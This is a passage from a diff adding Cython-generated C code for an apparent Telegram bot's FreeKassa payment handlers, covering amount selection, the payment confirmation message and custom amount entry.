__pyx_kp_u__14); + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_7) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_7); + __Pyx_GIVEREF(__pyx_t_7); + PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_7); + __pyx_t_7 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 51; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__15); + __pyx_t_7 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = PyTuple_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_7); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_7)) __PYX_ERR(0, 157, __pyx_L1_error); + __pyx_t_7 = 0; + + /* "handlers/payments/freekassa_pay.py":159 + * await callback_query.message.answer( + * f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + __pyx_t_7 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 159, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":157 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_10, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 157, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L15_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 157, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 157, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":145 + * ) + * + * if payment_url: # <<<<<<<<<<<<<< + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + */ + goto __pyx_L14; + } + + /* "handlers/payments/freekassa_pay.py":162 + * ) + * else: + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * " . .", + * ) + */ + /*else*/ { + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_10))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_10); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_10); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_10, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_kp_u__16}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L1_error) + } + } + } + __pyx_L14:; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_16generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_15process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 167, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 167, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 167, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 167, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_14process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 167, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_16generator4, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_16generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":171 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * await callback_query.message.answer(text=" :") # <<<<<<<<<<<<<< + * await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__18) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":172 + * ): + * await callback_query.message.answer(text=" :") + * await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_freekassa); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_4}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 172, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 172, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":167 + * + * + * @router.callback_query(F.data == "enter_custom_amount_freekassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":175 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_freekassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_18process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_18process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 175, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 175, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 175, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 175, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 175, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_17process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, CYTHON_UNUSED PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input 